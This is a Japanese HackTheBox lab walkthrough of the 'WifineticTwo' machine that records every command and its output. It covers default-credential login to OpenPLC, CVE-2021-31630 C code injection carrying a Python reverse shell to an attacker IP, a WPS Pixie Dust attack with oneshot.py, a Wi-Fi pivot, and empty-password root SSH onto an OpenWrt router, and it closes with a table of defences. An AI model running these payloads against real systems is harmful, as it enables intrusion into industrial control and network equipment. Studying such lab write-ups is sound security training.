HackTheBox: WifineticTwo — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 8080/OpenPLC
→
22/ssh, 8080/OpenPLC
デフォルト認証情報
openplc:openplc
→
openplc:openplc
CVE-2021-31630
Hardware Layer C コード注入
→
Hardware Layer C コード注入
LXC root シェル
user.txt ✓
→
user.txt ✓
WPS Pixie Dust
oneshot.py -K
→
oneshot.py -K
WPA2 PSK 平文取得
plcrouter AP
→
plcrouter AP
wpa_supplicant 接続
+ デフォルトルート障害解析
→
+ デフォルトルート障害解析
SSH パスワード空認証
root@192.168.1.1 (dropbear)
→
root@192.168.1.1 (dropbear)
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p22,8080 --open -T4 10.129.46.138
RESULT
PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds
バージョンスキャン
BASH
nmap -sV -sC -p 22,8080 10.129.46.138
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) 8080/tcp open http-proxy HAProxy http proxy / Werkzeug httpd 1.0.1 (Python 2.7.18) |_http-title: OpenPLC Webserver
🚨
重要発見: ポート 8080 で OpenPLC Runtime Web Server
(Python 2.7 / Werkzeug 製) が稼働。OpenPLC は産業制御システム (ICS) 向けの
オープンソース PLC ランタイムであり、既知の CVE-2021-31630
(認証済みリモートコード実行) の対象になりうる。
PHASE 2
OpenPLC Foothold 調査 — デフォルト認証情報 & 脆弱性の特定
デフォルト認証情報でログイン
NOTE
OpenPLC の公式ドキュメントに記載されているデフォルト認証情報は openplc:openplc。これがそのまま有効だった。
BASH
curl -s -c cookies.txt \ --data-urlencode "username=openplc" --data-urlencode "password=openplc" \ http://10.129.46.138:8080/login
RESULT
HTTP/1.0 302 FOUND (→ /dashboard) ログイン成功
Hardware Layer Code Box の発見
NOTE
OpenPLC ダッシュボードの Hardware タブには "Hardware Layer Code Box" という 機能があり、選択した Hardware Layer (blank_linux 等) の C ソースコードを 自由に編集して "Save changes" で再コンパイル・リンクできる。 コンパイル成功後は Start PLC でコンパイル済みバイナリが実行される。 これが CVE-2021-31630 の実体 (認証済みユーザによる任意 C コード実行)。
BASH
# Hardware ページの実際のフォームフィールド名をまず確認 curl -s -b cookies.txt http://10.129.46.138:8080/hardware \ | grep -oE '<(input|select|textarea)[^>]*name="[^"]+"'
RESULT
<select id='hardware_layer' name='hardware_layer' ...
<textarea ... name="custom_layer_code" id="custom_layer_code" ...
⚠️
ハマりどころ: 巷の PoC (exploit-db #49803 含む) や一部の資料では
POST パラメータ名を
content としているものがあるが、実機のフォームの
実際の name 属性は custom_layer_code。誤ったフィールド名で
送信すると HTTP 400 が返り、コードは一切保存されない
(症状: 保存は成功したように見えても再コンパイルすると変更が反映されない)。
必ず対象ページの実フォームを確認してから POST すること。
PHASE 3
Hardware Layer への C リバースシェル注入 & コンパイル
PLC 停止 & Hardware Layer を初期状態に復元
BASH
curl -s -b cookies.txt http://10.129.46.138:8080/stop_plc curl -s -b cookies.txt http://10.129.46.138:8080/restore_custom_hardware
リバースシェル C コードの注入
C (Hardware Layer カスタムコード)
#include "ladder.h"
#include <stdlib.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
int wt2_ran = 0;
void wt2_run()
{
if (wt2_ran) return;
wt2_ran = 1;
system("/usr/bin/python3 -c \"import os,socket,subprocess;"
"s=socket.socket();s.connect(('10.10.15.201',4444));"
"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
"subprocess.call(['/bin/sh','-i'])\" &");
}
void initCustomLayer() { wt2_run(); return; }
void updateCustomIn() {}
void updateCustomOut() { wt2_run(); }
BASH
# custom_layer_code フィールドでファイルから直接POST(クォート崩れ防止のため@ファイル指定) curl -s -b cookies.txt -c cookies.txt \ --data-urlencode "hardware_layer=blank_linux" \ --data-urlencode "custom_layer_code@shell.c" \ http://10.129.46.138:8080/hardware
RESULT
HTTP/1.0 200 OK <head><meta http-equiv="refresh" content="0; URL='compile-program?file=blank_program.st'" /></head>
コンパイル実行
BASH
curl -s -b cookies.txt "http://10.129.46.138:8080/compile-program?file=blank_program.st" curl -s -b cookies.txt http://10.129.46.138:8080/compilation-logs
RESULT
Optimizing ST program...
Generating C files...
Moving Files...
Compiling for Linux
Generating object files...
Generating glueVars...
Compiling main program...
Compilation finished successfully!
PHASE 4
PLC 起動 & user.txt 取得
リスナー起動 & PLC 起動
BASH
# ターミナル1 nc -lnvp 4444 # ターミナル2 curl -s -b cookies.txt http://10.129.46.138:8080/start_plc
RESULT (nc リスナー側)
listening on [any] 4444 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.46.138] 56542 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root)
✅
シェル取得成功! OpenPLC の Runtime プロセス自体が
root で動作しているため、いきなり root 相当のシェルが得られる
(ただし後述の通り LXC コンテナ内の root であり、ホスト/ルータの root ではない)。
user.txt 取得
BASH
# cat /root/user.txt
RESULT
44febc0b5e5c6a1780b2163a952d4241
user.txt — root@LXCコンテナ
44febc0b5e5c6a1780b2163a952d4241
PHASE 5
ネットワーク列挙 & WPS Pixie Dust 攻撃
wlan0 インターフェースの発見
BASH
# ip a # iwconfig
RESULT
5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 ...
link/ether 02:00:00:00:02:00
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated
ℹ️
コンテナは LXC であり (
cat /proc/1/environ で
container=lxc を確認)、通常の権限昇格経路 (SUID/sudo/カーネル脆弱性) は
見当たらない。代わりにコンテナに割り当てられた wlan0 無線インターフェース
経由でホストの WiFi ネットワークへピボットする、という本マシン特有の経路がある。
AP スキャン & WPS 有効化確認
BASH
# iw wlan0 scan
RESULT
BSS 02:00:00:00:01:00(on wlan0) SSID: plcrouter RSN: * Authentication suites: PSK WPS: * Wi-Fi Protected Setup State: 2 (Configured) * Response Type: 3 (AP) * Config methods: Label, Display, Keypad
🚨
WPA2-PSK 保護された AP
plcrouter を発見。WPS が有効
になっており、Pixie Dust 攻撃 (WPS の乱数生成の弱さを突いてオフラインで
WPS PIN を割り出す攻撃) の対象になりうる。
oneshot.py で WPS Pixie Dust 攻撃を実行
BASH
# Kali側: ツール取得 & 配布用HTTPサーバー起動 wget https://raw.githubusercontent.com/kimocoder/OneShot/master/oneshot.py python3 -m http.server 1234 # ターゲット側: ダウンロードして実行 curl -O 10.10.15.201:1234/oneshot.py python3 oneshot.py -i wlan0 -b 02:00:00:00:01:00 -K
RESULT
[*] Running wpa_supplicant...
[*] Trying PIN '12345670'...
[*] Associating with AP...
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received WPS Message M1 ... M7
[+] WPS PIN: '12345670'
[+] WPA PSK: 'NoWWEDoKnowWhaTisReal123!'
[+] AP SSID: 'plcrouter'
plcrouter AP — WPA2 PSK (Pixie Dust で平文取得)
NoWWEDoKnowWhaTisReal123!
PHASE 6
AP 接続 & ネットワークピボット — トラブルシューティング実録
wpa_supplicant で plcrouter AP に接続
BASH
cat <<EOF > /tmp/wpa.conf
network={
ssid="plcrouter"
psk="NoWWEDoKnowWhaTisReal123!"
}
EOF
wpa_supplicant -B -i wlan0 -c /tmp/wpa.conf
iw dev wlan0 link
RESULT
Successfully initialized wpa_supplicant Connected to 02:00:00:00:01:00 (on wlan0) SSID: plcrouter signal: -30 dBm
DHCP でアドレス取得
BASH
dhclient ip -4 addr show wlan0
RESULT
RTNETLINK answers: File exists ← エラーに見えるが無害 (アドレス取得済み)
5: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> ...
inet 192.168.1.84/24 brd 192.168.1.255 scope global secondary dynamic wlan0
🔥 ハマった点: リバースシェルが一切通らなくなる自傷ルーティングバグ
NOTE
ここで一度 OpenPLC の Hardware Layer を再注入して user.txt を取り直そうとしたところ、 何度リトライしても Kali 側のリスナーに一切コールバックが来なくなる現象が発生した。 Hardware Layer のコードを単純化 (execve のみ/dup2 のみ/no-op) して段階的に切り分けた結果、 「dup2 単体までは PLC が Running 状態になるのに、execve を足すと即座に Stopped に戻る」 という現象が見え、一見 execve 自体の失敗 (NULL argv/envp の未定義動作等) を疑ったが、 curl --interface eth0 で強制的に有線側から送信すると外部への通信が届くことが判明し、 問題は execve ではなく デフォルトルートの経路選択 にあると特定した。
BASH
# ip route show
RESULT
default via 192.168.1.1 dev wlan0 linkdown ← メトリック省略=暗黙的に0(最優先) default via 10.0.3.1 dev eth0 proto dhcp src 10.0.3.52 metric 100 ← 本来のKali向け正規ルート 10.0.3.0/24 dev eth0 proto kernel scope link src 10.0.3.2 192.168.1.0/24 dev wlan0 proto kernel scope link src 192.168.1.46 linkdown
🚨
原因判明: WiFi ピボットの過程 (静的IP付与の際など) で
ip route add default via 192.168.1.1 dev wlan0
をメトリック指定なしで実行すると、暗黙のメトリック 0 が付与され、
DHCP 由来の正規デフォルトルート (metric 100, eth0 経由・Kali 側 VPN へ到達可能) より
優先されてしまう。しかも wlan0 はこの時点で
linkdown (WPS/WPA処理中に一時的にリンクダウンしていた) にも関わらず
ルートエントリ自体は残存するため、新規の外向き接続が
すべてこの「死んだルート」に吸い込まれて失敗し続ける。
BASH
# 壊れたデフォルトルートを削除するだけで復旧する ip route del default via 192.168.1.1 dev wlan0
✅
教訓: 192.168.1.1 (plcrouter) は
ip addr add .../24 で
自動的に張られる直結ルートで到達可能なため、そもそも wlan0 経由のデフォルトルート
追加は不要だった。以後は eth0 の正規デフォルトルートのみを残し、192.168.1.0/24 宛は
直結ルートに任せることで、Kali へのコールバックとルータへの到達を両立できる。
PHASE 7
OpenWrt ルータへの侵入
ルータの Web 管理画面 (LuCI) を確認
BASH
ping -c 1 192.168.1.1 curl -s -i http://192.168.1.1/cgi-bin/luci/ | head -12
RESULT
HTTP/1.1 403 Forbidden
x-luci-login-required: yes
<title>ap - LuCI</title>
ℹ️
フッターから
LuCI openwrt-23.05 branch (git-23.306.39416-c86c256) /
OpenWrt 23.05.2 と判明。このバージョンの LuCI は System > Administration
画面が JS SPA (ubus 経由の非公開 RPC) で描画されており、
classic な CBI フォームの HTML はほぼ空のスケルトンしか返らない
(<div id="tabmenu" style="display:none"></div> のみ)。
SSH-Keys 登録フォームを curl で単純リプレイする手法はこの版では機能しない。
LuCI へのログイン (フォーム認証)
BASH
curl -s -c luci.cookies -b luci.cookies \ -d luci_username=root -d luci_password= \ http://192.168.1.1/cgi-bin/luci/
RESULT
HTTP/1.0 302 FOUND Set-Cookie: sysauth_http=334a74698f4c332ff79fbaf8b6493f03 # ログイン後の管理ページ確認 curl -s -b luci.cookies http://192.168.1.1/cgi-bin/luci/admin/system/admin → "No password" バナー確認(ログイン成功)
ℹ️
ブラウザ経由で見ると LuCI ログイン画面がネイティブの HTTP Basic 認証ダイアログのように
見えることがあるが、
curl -u root: (HTTP Basic 認証) は機能しない。実体は
LuCI 独自のセッション Cookie 方式 (luci_username/luci_password
フォーム POST → sysauth_http Cookie 発行) であり、こちらが正解。
💡 ブレイクスルー: SSH 鍵登録なしでの直接ログイン
NOTE
LuCI の SSH-Keys 画面が JS SPA 化されており curl での鍵登録が困難だったため、 そもそも公開鍵登録が必須なのかを疑い、まず素の SSH パスワード認証を試したところ、 パスワード未設定であることを示す "No password set!" バナー通り、 空パスワードでの認証がそのまま通ることが判明した。 公開鍵の生成・登録・LuCI操作が一切不要になり、攻撃チェーンが大幅に簡略化された。
BASH
ssh -o StrictHostKeyChecking=no \
-o PreferredAuthentications=password -o PubkeyAuthentication=no \
root@192.168.1.1 id
RESULT
Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts.
uid=0(root) gid=0(root)
✅
認証成功!
-o PubkeyAuthentication=no で鍵認証を明示的に
スキップし PreferredAuthentications=password でパスワード認証のみを
強制することで、非対話シェルからでも空パスワードでの dropbear ログインが確実に通る。
PHASE 8
root.txt 取得
root.txt 読み取り
BASH
ssh -o StrictHostKeyChecking=no \
-o PreferredAuthentications=password -o PubkeyAuthentication=no \
root@192.168.1.1 'cat /root/root.txt'
RESULT
8fed34b4bcef606421b91d01a877afcb
root.txt — root@ap (OpenWrt ルータ)
8fed34b4bcef606421b91d01a877afcb
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — root@LXCコンテナ
44febc0b5e5c6a1780b2163a952d4241
root.txt — root@ap (OpenWrtルータ)
8fed34b4bcef606421b91d01a877afcb
使用した脆弱性・弱点
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| デフォルト認証情報 | OpenPLC Webserver | 管理画面への認証 | Medium | openplc:openplc がそのまま有効 |
| CVE-2021-31630 | OpenPLC v3 Hardware Layer Code Box | 認証済みリモートコード実行 (root, LXC内) | Critical | Hardware Layer の C ソースにリバースシェルを注入し Save/Compile/Start で実行 |
| WPS Pixie Dust | plcrouter AP (WPS 有効) | WPA2 PSK の平文漏洩 | Critical | oneshot.py -i wlan0 -b <BSSID> -K でオフラインPIN復元 → PSK取得 |
| ルータ root パスワード未設定 | OpenWrt 23.05.2 (dropbear) | 認証なしでの root SSH アクセス | Critical | PreferredAuthentications=password で空パスワード認証がそのまま通過 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/ssh, 8080/OpenPLC Runtime |
| 2 | Foothold調査 | デフォルト認証情報 + Hardware Layer 発見 | openplc:openplc、正しいPOSTフィールド名 (custom_layer_code) |
| 3 | RCE | CVE-2021-31630 (Hardware Layer C注入) | コンパイル成功、リバースシェル用バイナリ |
| 4 | エクスプロイト | Start PLC → nc コールバック | user.txt (LXC root シェル) |
| 5 | WiFi偵察 | iw scan + WPS Pixie Dust (oneshot.py) | plcrouter AP の WPA2 PSK 平文 |
| 6 | ネットワークピボット | wpa_supplicant + DHCP + ルーティング障害解析 | 192.168.1.0/24 到達性の確立 |
| 7 | ルータ侵入 | LuCI ログイン確認 + 空パスワードSSH発見 | root@192.168.1.1 アクセス |
| 8 | フラグ取得 | SSH パスワード認証 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| OpenPLC のデフォルト認証情報が未変更 | 初期設定完了後は必ずデフォルトパスワードを変更する。管理画面をインターネットに公開しない。 |
| Hardware Layer Code Box が認証済みユーザに任意 C コード実行を許してしまう設計 (CVE-2021-31630) | OpenPLC を最新版に更新し、Hardware Layer カスタマイズ機能へのアクセスを最小権限のロールに限定する。産業制御システムの管理インターフェースはネットワーク分離 (VLAN/ファイアウォール) する。 |
| Access Point で WPS が有効なままになっている | WPS を無効化する。WPA2/WPA3 の強固なパスフレーズのみで運用する。 |
| ルータ (OpenWrt) の root パスワードが未設定 | 初回セットアップ時に必ず root パスワードを設定する。dropbear のパスワード認証を無効化し鍵認証のみに限定する。 |
| コンテナに割り当てられたネットワークインターフェースを介した内部ネットワークへのラテラルムーブメント | コンテナ/PLC 実行環境に不要な無線インターフェースへのアクセス権を与えない。ネットワークセグメンテーションを徹底する。 |

